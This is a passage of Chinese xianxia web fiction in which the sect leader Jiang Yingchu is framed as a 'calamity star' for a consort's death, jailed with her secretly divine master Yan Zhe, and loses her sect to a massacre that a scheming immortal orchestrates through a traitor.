一旁路过的小太监撞见闻项,恭敬行礼:“奴才给将军请安。”
闻项摆手,拂袖离去。
他嘴角压不下来,心里乐道:什么将军,吾乃九重天十三仙君之一,望涯君。
十三仙君,便是这四海八荒十三位飞升到上仙的仙君。
十三仙君法力出群,威名赫赫。
六合之内,只有天道与帝君居其上。
帝君领了差事下凡,有仙君也下凡辅佐。
只不过——这仙君里头,并非人人都想灭掉姜盈初这个魔头。
譬如闻项,狼子野心,很想得到魔尊的神力。
*
姜盈初在留荷亭里吹风。
冷风让她的神志稍稍清醒,不至于沉湎在记忆的场景中。
“吃吗?”言遮寻到她,一颗叮叮糖递到她嘴边。
姜盈初摇摇头。
于是言遮便毫不客气地给自己塞进了嘴里。
他轻咬糖,又故意吹出一阵气。
浓郁的香气就弥漫在了空中,久久化不开。
馋得姜盈初咽了下口水。
言遮瞥见她的小动作,笑得耸肩。
他又把另一颗糖喂到她嘴边:“现在呢,吃吗?”
姜盈初瞪了眼自己为老不尊故意逗人的师父,把糖一掌薅走。
言遮挨着她坐下。
一时间,谁都没有说话,只有糖的香气随风摇曳,荡漾。
“刚刚怎么了?”终于,在一阵冷风吹过后,言遮开口问。
姜盈初默不作声。
她不习惯把自己的过去袒露给别人。
言遮微不可察地皱了皱眉,也什么都没说。
“那走吧。”他伸手向她,“怪冷的。”
姜盈初没有动作。
言遮盯她一小会儿,忽然故意掩面欠身,惊天动地地咳起来。
6. 晋江文学城 06[灭门]
姜盈初见言遮要咳出心脏的架势,不得不起身扶他。
然后由着他把自己往殿里带。
宫墙深红,天色灰白。
偶尔头顶上还有一两只高歌的乌鸦飞过。
“阴森森的。”姜盈初随口道。
言遮假装虚弱地抬头,小声“嗯”了一声表示附和。
只是扫向那两只乌鸦的眼神冷得像冰。
两只乌鸦很聪明,察觉到了言遮想杀鸟的目光。
对视一瞬,乌鸦内心对姜盈初直呼:丫头!你身边这人可比我们阴森多了!
阴森森的事情不止这一件。
一个满头珠翠的人拦住了姜盈初。
她身边带了两个侍女,扮相也华贵,一眼便叫人认出这是位娘娘。
姜盈初拽着言遮欠身行了礼——她是仙门宗主,见到天家的人用不着行卑躬屈膝的大礼。
言遮死乞白赖地把自己也摆在了不用行大礼的位置上。
姜盈初不由得为自己师父捏一口气。
若撞见了个暴脾气,还得她多费口舌来保他。
好在眼前的娘娘并不计较这些细枝末节。
她自报家门,亮出了丽妃的身份。
姜盈初了然点头。
她和京都的家长里短交集不多,却也听过丽妃的名号。
东洲西部毗邻大漠,大漠与东洲之间,有个夹缝求生的小国,名曰“无沙”。
无沙国和东洲曾兵戎相见过,战乱以无沙国的低头而告终。
再后来,东洲国势蒸蒸日上,边疆的雪都下得很乖巧。
无沙国低眉顺眼多年,还封了个侯爷的嫡女为公主,送来和亲。
投诚献媚的事情,景帝欣然应允。
和亲的公主被册封为妃,封号为“丽”。
丽妃性格温婉,不受宠,不树敌。虽处在深宫,日子却过得清闲。
她唯一的喜好便是宝钿金钗这些玩意儿,鲜少主动与人搭话。
但今天,丽妃随意散步,蓦然一簇光被晃了眼。
只有一瞬间。
她眯眼看去,没找到这簇光从何而来,却注意到了姜盈初头上的簪子。
色泽通透,质地极佳,是灵山白玉。
灵山白玉——丽妃想起了一些旧事:她祖父以前给过她一副灵山白玉的手镯。
彼时祖父还是征战沙场的大将军,大王赏赐的灵山白玉,在多少人眼中都是风光无限的象征。
不过后来两国交好,祖父这种杀敌无数的功名就成了罪孽。
如此昂贵的赏赐,也再难一睹。
丽妃心中感慨万千,对姜盈初比划了一下,笑问:“你的这支簪子真好看,可是灵山白玉的?”
姜盈初愣愣地摸了摸自己头上,发现丽妃夸得是言遮送自己的那支白玉簪。
若是问起剑的材质,姜盈初定能脱口而出,滔滔不绝。
但脂粉首饰这些东西——问她,就好比问白痴。
“灵山白玉连城之价,我哪能给得起?”言遮欠身,风度翩翩地解释。
丽妃疑惑地看向他,不明白一个侍卫怎会嚣张到随意插话。
“我师父。”姜盈初介绍说,她指了指自己的簪子,“他送我的。”
丽妃点头,仔细地看了眼姜盈初的簪子,依旧疑惑。
她问:“若非灵山白玉,怎会这般通透?”
言遮眉宇间迅疾地划过一缕不耐烦。
这玉的确是灵山白玉,可他绝不能让姜盈初知道。
他是日日与床作伴的病秧子,哪有机会能接触到灵山白玉呢?
“咳咳。”言遮恰到好处地露出柔弱,温声道:“把普通白玉打磨出这种光泽,并非不能,只是略微费些时日。”
“哦?”丽妃紧追不舍地问,她还是更相信自己的眼睛。
言遮故意扭头不看姜盈初,装出一副心事被揭穿的难堪样。
他扭捏地鬼扯道:“取山顶落雪两盏,小火慢煮,共煮七七四十九遍。将白玉浸于其中,泡六十四个时辰,又用……”
风萧萧,人无言。
姜盈初很懵。
这簪子居然不是言遮从哪个犄角旮旯捡到的?
她本来还在感叹自己师父走狗屎运,随手一捡,就捡了个值钱玩意儿。
“那你的病?”姜盈初默然良久,扒着言遮的胳膊问。
言遮泡进装害羞的汪洋里浮不出来,迟迟不转头,胡乱摆手道:“无妨,不是为了给你盛雪才病重的。”
姜盈初:……
她好气又好笑:“要是真觉得无妨,你就别把后面的话说出来。”
言遮不说话。
其实他没有骗人。
他这场病不是装出来的,而是在藏书阁的房顶上吹了冷风,着了凉。
师徒情深,丽妃见状,只能半信半疑地离开。
姜盈初对言遮送的簪子并不领情——这纯属吃饱了没事儿干,还要朝她索要莫须有的感谢。
是她喜欢簪子吗?是她喜欢玉吗?
既然都不是,那她就没必要心疼他的自作多情。
于是言遮越是装可怜,姜盈初就越是漠不关心。
帝君万年不被尘世杂物困扰,今日罕见地产生了疑问。
这怎么和他预想的感激心疼之情不一样呢?
除了师徒俩的小插曲之外,这场鸿门宴从始至终一直风平浪静。
姜盈初都要怀疑那天上山的徐公公是被人夺了舍。
帝王坐高台,台下歌舞升平,丝竹阵阵,人人笑意盈盈。
怎么丝毫不见一点不对劲呢?
若柒柒虽然不打算长住宫内,可回宫看见自己母妃,难免叙旧。
回云清台的马车上便只有言遮和姜盈初。
哪怕马车行至云清台,空气中也没有一丝山雨欲来的味道。
毕竟雨最擅润物无声。
次日清早,姜盈初拉开房门,和门外一群披坚执锐的精兵大眼瞪小眼。
为首的那个大声道:“皇上有令,灾星祸乱仙门,又将邪气带至后宫,绝不能放任其继续屠害人间!”
姜盈初要拔剑。
“丽妃娘娘昨日只同你一人说了话,夜里便双目流血而亡!有侍女为证,你逃不掉!”
姜盈初握剑的手都要被震惊得凝固。
*
姜盈初被押入了天牢。
所谓天牢,和寻常牢狱不同,专为仙人和妖魔所修。
天牢上有钦天监掌管,下有京都修士组成的金汤阁维护运作。
一行押司把姜盈初送进了最里头的,那间伸手不见五指的牢房。
转头,这些押司自己先吓出了一身汗。
传闻说这仙门宗主杀人于谈笑间,一众人都担心自己小命不保。
可若是不办这份差事,就是抗命不遵,脑袋也马上要离身体而去。
左右都为难。
等走上九曲回肠的台阶,远离那些贴着各种符纸的牢房门后,几个大胆的押司才敢出声。
一个讷讷地问:“她就这么逆来顺受?就这么让我们给关进去了?”
另一个立马用眼神呵斥他,“嘘!我听说他们这些人都有顺风耳的。”
胆子最大的那个不屑地抻展衣袖,大声说:“听见了又能怎样?难不成她能冲破牢房?这种走哪儿哪就有祸事的灾星就该早早被关进去。和她那个小情郎等死吧。”
胆子最大的押司人称王十三,家里有兄长也是修士,所以不怕这些所谓的仙人。
刚刚押送姜盈初的时候,看见姜盈初头上那根质地很好的簪子,起了歹念,想顺手牵羊。
不料那个非要跟来一块儿送死的病秧子咳了一声。
王十三皱眉回头,撞见一双冷得毫无人性的眼眸。
对方在这一瞬间流露出的那种漠然的狠戾太压迫人,王十三伸出去的手僵硬地缩了回来。
便宜被占到,还丢了脸。
所以这会儿背过言遮,王十三恶语连珠,好像这样就能扬眉吐气。
“他们仙人又咋了?我二哥就是修仙的人,都是花拳绣腿的小招数,真把自己当成无所不能的神仙了?”他恶狠狠地说。
既有对姜盈初的不满,还有对他二哥的不满。
二哥不学无术,被送去修仙,回来靠一些雕虫小技,就使得全家刮目相看。
还捞到了宫里侍卫的职役。
而他在京都努力数载,好不容易成了天牢的押司,爹娘却还整天对他念叨“你看看你二哥。”
扯淡嘛。
*
扯淡的二哥正在玉兴宫。
办着刚刚被二殿下拦住交代的差事。
“二殿下说,让殿下您……”王老二声音越来越小,到最后,索性给四皇子跪了下来。
四皇子名唤常平,便是如今最有继承大统之望的那位。
这位四皇子起先并不见什么天赋,后来有一日,不知受了什么刺激,突然发愤图强。
闲日里下人寻他,他要么在书房埋头苦读,要么就在武场认真习武。
譬如此刻,四皇子就在书房里。
他放下手中书卷,眉眼温和,轻声道:“你但说无妨,你传的是皇姊的话,不论这话有多么得罪人,我都不该迁怒于你。”
王老二长舒一口气,心中暗道:四皇子果然如传言一般平易近人。
他抹了把头上的汗,小声道:“二殿下让您睁大眼睛,别把仇报到旁人头上,您要是容不下她,大可直接提着剑去找她。”
传完话,王老二如临大敌,很小心地覷了眼四皇子。
却见四皇子脸上并无一丝不悦,反而显得十分——疑惑不解?
常平摆了摆手,王老二忙不迭夹着尾巴走了。
“皇姊在说什么?”压根听不懂这话的常平问。
伺候他的小太监绞尽脑汁,在最后关头灵光乍现道:“听闻二殿下和被打入天牢的那位宗主交情甚好,该不会在说这事?”
常平点头,又拿起手边的书。
这次却怎么都看不进去了。
他纳闷地想:她为何要怀疑自己呢?
*
“定是因为我请封皇太女一事!”天牢里,若柒柒扒着铁门栏杆,义愤填膺地分析:“他不好直接对我下手,就先寻由头来除掉你。”
姜盈初盘腿而坐,一脸凝重。
在听到丽妃死讯的那一刻,原本她要高高扬起的剑又收了回去,决定先按兵不动,静观其变。
她问:“丽妃真的死了吗?”
若柒柒点头:“我去看了,的确是双目流血的惨状,太医院上下也都说她因此而亡。”
姜盈初叹了口气。
无形中,她觉得自己正在被卷进一场翻天覆地的风波。
天降妖火,门派被屠,士卒丧命。
她沉默了片刻,问:“她在宫中可有树敌?”
“深宫之中,或多或少有些过不去的梁子。”若柒柒竖起一根手指晃了晃,“但唯独丽妃是一股清流,从未与人结仇。”
姜盈初眉心蹙得更深。
突然,一双手从后环出来,轻柔地按着她的鬓角。
言遮跪在姜盈初身后,神情专注,长发披散下来,有一缕扫着她的面颊。
雨后草木的清香萦绕在姜盈初四周。
想到言遮刚起床还睡眼惺忪,就不由分说地要陪她进天牢,姜盈初心中好似被旺财的尾巴尖扫过。
若柒柒此刻也顾不上厌恶言遮。
比起言遮,她更厌恶那些风吹就倒的墙头草。
“不少门派上书请呈,都说要处死你这个……”若柒柒顿了一下,含糊道:“灾星。”
姜盈初不介意,问:“你父皇怎么说?”
“这类事情是由钦天监定夺的,他们要你死。”若柒柒解释道,“父皇明显也信了这些胡话,钦天监说有魔头出生,他就要在四海之内寻个除魔之人。”
“除魔……”姜盈初喃喃地重复。
这世上既有仙,那自然也是该有魔的。
只是她先前从未听闻。
若柒柒急得火烧眉毛:“什么妖魔鬼怪的你就先别关心了,我问你,你现在应该关心什么?”
姜盈初思索一瞬,挺直了腰。
她清嗓,无比认真地开口:“过两日是谷雨的生辰,我现在被押在天牢,得劳烦你替我去送生辰礼。”
谷雨便是小雨峰主。
她是当年村里灾祸中,为数不多的幸存者,和姜盈初相识甚早,陪姜盈初的时间也最长。
所以姜盈初落户在沐阳山后,便把除去主峰外的两座山改称大小雨峰。
若柒柒听见这个回答,气得眼冒金星,破口大骂:“两日后说不定你人头就落地了!你要关心的是你的脑袋能不能保住!”
“有你护着我,那自然能保住。”姜盈初不要脸地说,没察觉言遮突然一滞的动作。
她摊开的手掌上浮现出一把通体玉色的利剑。
姜盈初又解下浮生剑的剑穗,绑在这把剑上,将其装进墨色的雕花剑鞘。
“那丫头不喜欢她的绳子,嚷着要和我用一样的剑。”姜盈初把剑递给若柒柒,“你帮我送一趟。”
若柒柒瞪着剑,瞬间觉得自己那两把锁心锤不香了。
“你未曾给我送过剑。”言遮在后面幽幽地说。
姜盈初猛地回头:“我倒是可以送,只是你会用吗?”
“我特意送你剑,和你特意送我簪子有什么区别?”
言遮:……
再次后悔自己走废物师父的路线。
*
姜盈初在狱里的生活并不凄苦。
虽然面临着几日之后的杀头之灾,但言遮看来,自己这个小徒弟明显不把这天牢当回事。
如若她想跑,各种乱七八糟的符纸根本奈何不了她。
这里是天牢的最底下一层,关的人也只有他们两位。
姜盈初清闲到能静心打坐。
直到第二日的夜里,窸窸窣窣的脚步声夹杂着叫骂声传来。
是押司来了。
押着一个
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看起来不过十三岁的小孩儿,骂骂咧咧地把他关进了姜盈初隔壁的牢房。
“他犯了什么事呀?”姜盈初没睡,睁眼出声。
押司被吓了一跳,怪笑道:“和你一样咯!”
他砸吧着嘴走了,留下倚在墙上的姜盈初满脸茫然。
她有点发怵:该不会这又是和自己有关的一桩祸事吧?
此处牢房之间有墙相隔,墙上也没有任何破洞。
好在不过一墙之隔,门又透风,说话能听见。
姜盈初尝试着问:“小孩儿,你为什么被关进来?”
那头没吭声。
“今年几岁了呀?”
隔壁的小孩儿依旧不说话。
姜盈初想了想,又问:“那你饿不饿?”
“嗯。”隔壁传来很别扭的一声回答,听起来像拉不下面子,但又实在没办法。
她捏着一块儿烧饼,软声问:“那你用你的名字和我交换一块儿饼?”
隔壁沉默了很久。
当姜盈初以为交易没戏,要把烧饼白送出去的时候——
“三水。”隔壁的小孩闷闷地说。
烧饼是被一阵空气托送过来的。
摇曳幽暗的光里,三水衣衫褴褛地缩在墙角。
他波澜不惊地接住烧饼,埋头就往嘴里塞。
隔壁,姜盈初对这个叫“三水”小孩儿更好奇了。
穿得破破烂烂,像乞丐。
却被押进了天牢这种地方。
见到自己隔空送个烧饼过来,也没发出一丝讶异地惊叹。
“我也饿了。”角落里,言遮忽然出声。
姜盈初一愣,满脸局促地转身。
她只有隔空取物的本事,并不能凭空再变一个吃的出来。
这牢里唯一的食物就是刚刚送出去的那块儿烧饼。
“哈,师父,我告诉你一个从未与人讲过的秘密。”姜盈初凑过去,贴着言遮坐下。
言遮身形一滞,仔细盯着姜盈初的侧颜。
门外的油灯忽明忽暗,让他难以看清小徒弟的神情。
但他垂下的手指动了动,心像灯芯一样闪着。
他徒弟终于迈出依赖他的第一步了?
“要想在梦里吃到山珍海味,其实也不难。”姜盈初两眼一闭,信口开河:“你闭眼,在心中默念七七四十九遍你想吃的……”
言遮被她气得勾唇笑,上手轻捏她的脸:“这话为师听着怎么那么耳熟?”
姜盈初铁了心装死,一声不吭,也不睁眼。
装着装着,呼吸就变得清浅匀长——睡着了。
言遮解下自己的外袍,盖在她身上。
而后斜倚着身子,冷冷盯着和隔壁牢房相连的那堵墙。
巧的是,隔壁牢房里,三水啃完烧饼,也在盯着这堵墙发呆。
在三水看来,面前这堵墙上黑雾缭绕,明显是里面的人将要大难临头之兆。
他不是寻常的小孩儿,所以看到被空气送来的烧饼时并不惊讶。
*
若柒柒从姜盈初手中接了剑,隔天便御剑赶去了沐阳山。
她急着匆匆送完生辰礼,赶回来保姜盈初的小命,便一口气飞至山门。
山门之内,有姜盈初布下的结界,她只能走进去。
不过若柒柒却在山门站了好一会儿。
她双腿沉重,迈不开步子,用来飞的木剑横七竖八地躺在一边。
而在木剑的不远处,躺着一具双目圆瞪的尸体。
不止这一具。
山门前的青石板上,洋洋洒洒,躺了成十人。
是昨夜守山门的仙童。
广场,锦鲤池,比试台,圣然殿……
若柒柒浑浑噩噩地走过了沐阳山的许多地方。
满地都是合不上眼,面色惊恐的尸体。
这种景象若柒柒见过,不久之前,她的青龙派就在某个早晨就是如此惨状。
在小雨峰的药斋门口,若柒柒找到了她要找的人。
谷雨躺在两具尸体间,手中还攥着法绳,死相和任何一具尸体无异。
“谷,谷雨也……”她身后突然有道声音冒出来。
若柒柒转头,看见了每一步都走得很僵硬的李良辰。
瞬间,锁心锤就挥到了李良辰胸口。
李良辰面色发白,瘫坐在地。
“怎么回事?”若柒柒冷声问。
李良辰嗫嚅良久,终于“哇”地一声嚎出来,赫然是被吓破了胆。
“我,我不知道啊!我昨日下山,去,去给谷雨买生辰礼,刚才,刚回来,就看见……”
沐阳山全山上下,除了因下山而侥幸逃过一劫的李良辰,其余人都丧命于昨夜。
从若柒柒嘴里听到这个噩耗的时候,姜盈初攥紧拳头,骨节发白,努力地让自己站稳。
李良辰跟在若柒柒身后,担忧地看着自己宗主。
瞥见言遮在里头扶着宗主的手,他很轻地皱了一下眉。
“钦天监说此事最能证明你是灾星降世,明日午时行断头之刑。”若柒柒声音颤抖,“父皇不肯干涉,明日还有金汤阁的修士在场……”
“你要跑的话,现在最合适!”若柒柒猛然抬头,玉锤要往牢房门上挥。
姜盈初轻声喊停她:“我不跑。”
“你不跑你就是在等死!”若柒柒急得要哭。
姜盈初倚着言遮,摇头说:“我有我的打算。”
*
将军府,李良辰被下人领到书房。
闻项在书房里摆弄着一把古琴,见来人是李良辰,立马起身相迎。
他递给对方一个探究的眼神。
“引雷符生效,事已办妥,上仙放心。”李良辰拱手作揖,说。
闻项立马咧开嘴笑了。
李良辰犹豫了一下,小心翼翼地问:“上仙答应我的事,还作数吗?”
闻项点头如捣蒜:“作数!自然作数!我要的只是毁了她的门派,她人怎么样,归你,归你!”
李良辰只觉心里的石头落了地。
“唉,那个男的呢,你要不?”闻项问。
“任凭上仙处置。”李良辰说完,恭恭敬敬地退了出去。
他前脚刚走出书房,身后,闻项脸上的笑意就荡然无存。
提笔,蘸墨,铺纸。
闻项慢悠悠地写了封信,信上所言,都是在控诉李良辰这个内鬼。
写给姜盈初的。
闻项看着“李良辰”这三个字,不屑地嗤笑一声。
李良辰本是安插在姜盈初身边的棋子。
谁知棋子动了心,来跟主人讨价还价,要保住姜盈初的性命。
闻项只好说,自己只想搞垮她的门派,并不在意她的命。
事实上,他的目的并非搞垮门派,也不是要索姜盈初的命。
让这个丫头感受到被人背叛的滋味——从而尽快化魔。
这才是闻项的目的。
而李良辰,就是那枚用来走“背叛”这一步的棋子。
7. 晋江文学城 07[奇石]
许是用“灾星”的理由处死一个人实在草率。
又或是若柒柒四处奔走产生了一丝效果。她父皇景帝勉强算个明君,却没有帝王的斤斤计较。
哪怕若柒柒曾经有过请封皇太女的举动,他也并不放在心上。
宝贝女儿流落在外,终于回宫,景帝笑得嘴都合不拢。
再或许是闻项起了戏弄李良辰的心思,故意教他抓心挠肺后悔几日。
姜盈初的死刑被推后了几天——但也仅仅只是推迟,人头落地依旧迫在眉睫,形势严峻。
天牢外面人声嘈杂,金汤阁的修士这几日马不停蹄地练功夫,临时抱佛脚,为死刑那一日做准备。
钦天监也闲不住,观天象,看风水,算日子:什么时候行刑最稳妥呢?
人心察觉到自己的渴望超出自己的能力时,就会爱上神佛,爱上自然,爱上幻想。
天牢外紧锣密鼓,守宫门的侍卫闲聊时都离不开“仙门宗主的死期”这个话题。
而处在天牢里的姜盈初却毫无反应,整日整夜都一脸木然。
言遮看她黯然伤神的样子,心里没由来地生出几分气。
跌跌撞撞,摸爬滚打,带着一行朋友落户沐阳山,被仙门恭为宗主。
眼看着朝阳灿烂冉冉升起照亮未来的通天大道,朝阳却又在一夜间坠进了深谷,路也被雪堵塞。
言遮能理解小徒弟的伤心。
但这并不妨碍他暗搓搓地生闷气。
烛火幽微,惨淡的青光和两个人都被困在牢里。
言遮伸手把姜盈初的一缕碎发别至耳后,轻声问:“难受么?”
回答他的是沉默。
“这儿没有别人。”言遮席地而坐,嗓音轻低,“你要是想哭,我假装看不见,好不好?”
常言道,哭出来就好了。
帝君早忘了自己上一次经受这种大挫折是什么感觉,只能借着常言安慰小徒弟。
姜盈初没说话,微微抬头看了下师父,递给师父一个安慰的眼神。
她想告诉言遮:我没事儿。
可浑身的颓丧显然出卖了主人。
于是这个莫名其妙的眼神,经过言遮的脑补,就变了味儿。
在他看来,姜盈初分明在说:什么没有别人?你不就是别人吗?
心里那股不被依赖的烦闷愈发深重,言遮小孩儿置气一样起身,扑扇着衣袖表达自己的不满。
不哭,也不肯把难受讲出来,那憋死你算了。
言遮心里腹诽道,我要是再关心你一下,那我真是连旺财都不如。
片刻后,押司送来了晚膳。
姜盈初缩在角落里,一动不动。
狗都不如的帝君又端了一碗粥,黑着脸,一勺一勺地去给小徒弟喂。
押司送来的烧饼映入姜盈初的眼帘,她心里一动,终于开口道:“你把这个给隔壁的三……三火?”
姜盈初脑子乱成一团,想不起那小孩儿的名字。
总之把烧饼给他就是,反正她也没胃口,刚好小孩儿长身体。
隔壁狼吞虎咽喝粥的呼噜声一停。
姜盈初能想到这个三什么的小孩儿忽然竖起耳朵,眼睛亮亮的场面。
言遮侧在身旁的手攥成拳,青筋泛起。
姜盈初在察觉师父情绪这一点上实在麻木,见言遮不肯动,只当他是不愿被人使唤。
“那你让让。”姜盈初起身,拨开一只挡道狗一样拨开了言遮,自己把烧饼递到隔壁。
一只胖手立马接了烧饼,瓮声瓮气道:“谢谢。我叫三水。”
三水在提醒她刚刚喊错了自己的名字。
“嗯。”脑子转不过来的姜盈初下意识地也介绍自己,“我叫姜盈初。”
言遮懒懒阖眼,听到两人你来我往的友好介绍,额角微抽。
他又在心里发誓:让这些三水三火三木头关心你去罢,本君不会再给你一点好脸色。
正这么想着,忽然一个东西被递到他嘴边。
“你别忘了吃,吃完记得把药丸子也吃了。”姜盈初说。
言遮眼睛一弯,像旺财叼骨头一样从姜盈初手里叼走烧饼。
从前天界有人说他喜怒无常,阴晴不定,他从来不觉得。
此刻言遮乍然想起了这句话,细细一品,觉得这个结论未必没有道理。
天界的人要是知道言遮此刻的心理活动,定要两眼一黑晕死过去。
我们说的是那个不喜形于色的帝君,是那个杀伐果断的帝君,是那个一身正气的帝君。
可不是现在这个被他人拿捏的傻子哇!
*
行刑前两日,姜盈初仍然活得面无表情,沐阳山灭门的震惊难消,余韵阵阵。
她闭上眼,就能看看见谷雨灿烂的笑颜。
谷雨喜欢笑,但这丫头的笑往往藏着锐利的刀子,喜欢在温柔乡里宰人。
教导弟子,她笑,笑着笑着就把人训了。
替宗主办事,她也笑,笑着笑着就把人杀了。
只有在面对宗主的时候,谷雨的笑才纯粹得没有任何东西。
这种唯一特殊的笑带给姜盈初的记忆实在深刻,以至于她都不敢阖眼。
而深夜,她强忍睡意盯着烛火的时候,隔壁突然传来细微的声音。
“你为什么被抓到这里?”三水弱弱地问。
每次都送过来的烧饼轻而易举攻破了三水的戒备,让他忍不住好奇,开口询问。
他记得那天押司说他们被关到这里的原因一样。
一个一声不吭的冷傲小孩儿突然开了口,这让姜盈初有点儿受宠若惊。
她默然一瞬,无奈地勾唇,带着几分自嘲道:“我是灾星啊。”
“哦。”和姜盈初预想的不同,三水没有疑惑,反而闷闷地应了一声。
这又勾起了姜盈初的好奇。
她问:“你呢?”
“我和你一样。”三水蹲在地上,双手抱着腿蜷缩成团,说:“我说宫里有娘娘要死,他们不信。那位娘娘真的死了,他们就把我抓了起来。”
姜盈初茫然了一瞬,很是不可思议。
宫里有娘娘要死——这不就是丽妃的事吗?
怪不得那押司要说他俩被关在这里的原因一样。
只是——
“你怎么知道?”姜盈初问。
“我就是知道。”三水坚定地说。
他以为姜盈初不信自己,想了想,又说,“其实你的门派被灭的前一天,我也知道,你身上要有灾祸发生。”
这两天姜盈初他们和若柒柒说话并没有提防三水。
所以三水也听到了那些发生在姜盈初身上的事,也知道了隔壁这个人就是大名鼎鼎的仙门宗主。
也正因如此,又加上烧饼送来的善意,三水才肯对姜盈初开口。
他想:既然这个人是仙门宗主,那她会术法,就不会对自己的特殊能力冷嘲热讽了。
角落里,言遮咳了两声。
他并没有睡着,听见姜盈初和隔壁小屁孩的谈话,故意咳嗽两声,想暗示小徒弟:别忘了让师父也加入这么重要的谈话。
可惜姜盈初的思路和他实在南辕北辙。
姜盈初见他闭着眼咳嗽,以为自己和三水的谈话吵到了他。
“嘘——”她对三水说,“明天我们再说。”
言遮:……
哦,这是他俩的秘密,生怕被自己听到呢。
不依赖自己,不亲近自己,还提防自己。
言遮气得翻了个身,恶声恶气地哼了一声。
惹得姜盈初侧目,心底“豁”了一声:瞧,被吵到的不爽还挺大,在睡梦里都要哼哼唧唧地表达不满。
*
行刑前一日,姜盈初被单独带了出去,带去审讯堂。
刚好旺财的灵相在这个时候飞过来找言遮。
作为一只灵兽,旺财能够随意地灵相出窍——除了时间限制之外。它现在修为算高,灵相每隔十天左右就能自由活动一次。
“小姜姜呢?”旺财东张西望,用心声问。
“被抓走了。”言遮摸出自己的长歌匕,又仔细地擦了起来。
旺财“哦”了一声,从匕首的寒光上照见了自己这两天吃胖一圈的猫脸。
它懒洋洋地趴了下来,絮絮叨叨:“这次是真要动手了吧?现在动手时机最好。其实你前两日,一被关进来,就应该动手。完事儿我俩立马回九重天,我也不至于又添几两肉了。”
言遮万分嫌弃地扫了眼自己的胖麒麟,冷笑道:“离我远点。”
“啊?”
“别把油溅到我身上。”言遮垂眸,继续擦匕首。
旺财品了过来:这是再骂自己胖得流油!
麒麟的自尊心受到了严重的迫害!
它炸毛道:“喂,你有没有点心呐?还不是因为你迟迟不动手,我才胖了又胖的。好在你有动手的觉悟了。对了,动手的时候提前告诉我,我不忍心看这种场面的。我的小姜姜呐——”
言遮挑眉,问:“谁说我要动手了?”
旺财一愣:“那你擦它干嘛?”
言遮突然嗤笑一声,满目寒凉。
他神情专注地盯着匕首:“我才是解决她的那个人,其他白痴就别想了。”
旺财小小的脑袋转了很久,反应过来后要晕厥。
“是你傻了还是我傻了?”它大声吼着问,“这些凡人主动杀了她,不也是解决了灭世魔头这个祸患嘛?谁解决不是解决?你不动手就算了,怎么还不叫其他人动手呢?”
旺财心声吼得声音实在太大。
以至于让言遮一时没有听见,姜盈初回来的脚步声。
“师父,你在擦什么?”姜盈初问。
手中的匕首立马成了烫手山芋。
言遮身形微不可察地一抖,瞬间思绪万千。
第一个瞬间,他下意识想收了手中匕首,假装若无其事。
第二个瞬间,他悬崖勒马,想起小徒弟不容小觑的实力:她都问他在擦什么了,定然瞧出了端倪。
第三个瞬间,匕首化作玉笛,静静躺在言遮掌心。
姜盈初身心俱疲地进来,瞥见玉笛,问:“这也是你花七七四十九个时辰打磨出来的?”
言遮松了口气。
他摇头,张嘴就诓人:“九九八十一个时辰。”
姜盈初:……
“审讯堂怎么说?”言遮转移话题道。
姜盈初毫无感情,一字不落地复述:“灾星姜盈初,祸乱仙界,殃及后宫,明日午时行刑。”
隔壁三水正在竖起耳朵听墙角,听到这话,愕然抬眼。
怎么有人能如此事不关己地宣布自己的死刑?这得有多不怕死?这便是传闻中的视死如归吗?
“嗯。”言遮也淡淡道。
三水:……
两个怪人。
“你进牢里拿笛子干什么?”姜盈初问。
言遮:“陶冶情操。”
“那你吹一曲我听听?”
言遮欣然点头,掐着玉笛抬手,轻置唇边。
然后……然后……
姜盈初闭眼等了半天,却不闻一丝声响。
“怎么?”她睁眼问道。
晦暗中,言遮沉默了一瞬。
“吹不响。”他罕见窘迫,含糊而过,“刚刚说什么?明天行刑?你打算怎么办?”
“噗——”姜盈初乐得笑出声。
她一边笑,一边伸手去从言遮手里拿笛子:“你不会吹,你还拿它陶冶哪门子——”
话头戛然而止。
姜盈初满脸错愕,云里雾里。
罪魁祸首无疑还是言遮。
小徒弟来索要笛子,言遮侧了个身,手腕一转,灵活地躲了过去。
见姜盈初盯着他,他犹豫片刻,石破天惊道:“乖,这是为师的笛子。”
潜台词便是:这是我的笛子,你就不要用嘴吹了。
琢磨出自己话里嫌弃人的意思,言遮看向姜盈初的目光十分小心。
不料姜盈初了然,毫不介意地点头。
她和这个师父非亲非故,要笛子之前的确没有考虑周全:这是他的笛子,就算他吹不响,那也轮不到自己来上嘴吹。
“唉,三水?”姜盈初侧身去和三水继续昨晚的话题。
言遮见状,没滋没味地看了眼手中笛子,兴致缺缺。
她怎么就不生气呢?
好吧,他其实明白。她不生气,因为他不在她心上。
幽暗的角落里,旺财的灵相挪到了言遮身边。
“你用这么嫌弃人的理由,可有点伤人心啊。”它替姜盈初吐槽道。
言遮冷笑一声。
心道:睁大你的畜生眼看一看,她可有半点伤心的样子?
长歌匕化作万相,都掩盖不了它是个武器的事实——而且是帝君的武器。
哪怕化作笛子,吹出来也是杀伤力一片的存在。
言遮不能吹响,也不能纵着小徒弟吹。<
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p>不过很快就能吹响了,言遮指腹摩挲着笛身,看着姜盈初和三水你一言我一语。
*
立春这一天,京都却被阴云笼罩着,众人面色严肃,气氛沉闷。
这是钦天监看中的好日子。
姜盈初被押司带到了金汤阁的行刑台,石台周围一圈严阵以待的修士。
再底下便是人头攒动,七嘴八舌。
她环顾四周,却没看见传闻中那个常年带着面具的阁主。
金汤阁在京都初有名气时,名气便来源于这位阁主的神秘。
无人知晓他的样貌,因为他面具不离脸。
也无人知晓他的声音,因为他每次出现在人前,声音总是千变万化。
登上行刑台时,姜盈初问旁边的押司:“你们阁主呢?”
押司两眼一黑,没想到仙门宗主死到临头,还能有空去关心别人。
“阁主在武场。”他回答说。
姜盈初“哦”了一声。
钦天监掐掐算算,把行刑的日子定到了今天。
景帝连忙照猫画虎,也看中了这个好日子,要在今天选初那位除魔之才。
金汤阁主想来是去那边坐镇了。
石台一侧,言遮和三水被押在后面。
待到姜盈初,行刑结束,他们也难逃一死。
“列阵!”见姜盈初走到石台中央,一众修士齐声高呼。
一圈火焰绕着石台窜起,修士一手执剑,一手掐诀。数条火舌从四面涌出,径直扑向一动不动的姜盈初。
*
金汤阁武场,不知是谁也使出了最低级的火阵,数个纠缠的身影在火光中若隐若现。
沙尘纷飞,刀光剑影。
“临野扼住了王沐岚的脖子,王沐岚看起来必败无疑。等等——王沐岚的剑突然从后方飞来了!”徐公公聚精会神,把场上战况转述给景帝。
景帝因为不敢看这么激烈的场面,正紧紧闭着眼。
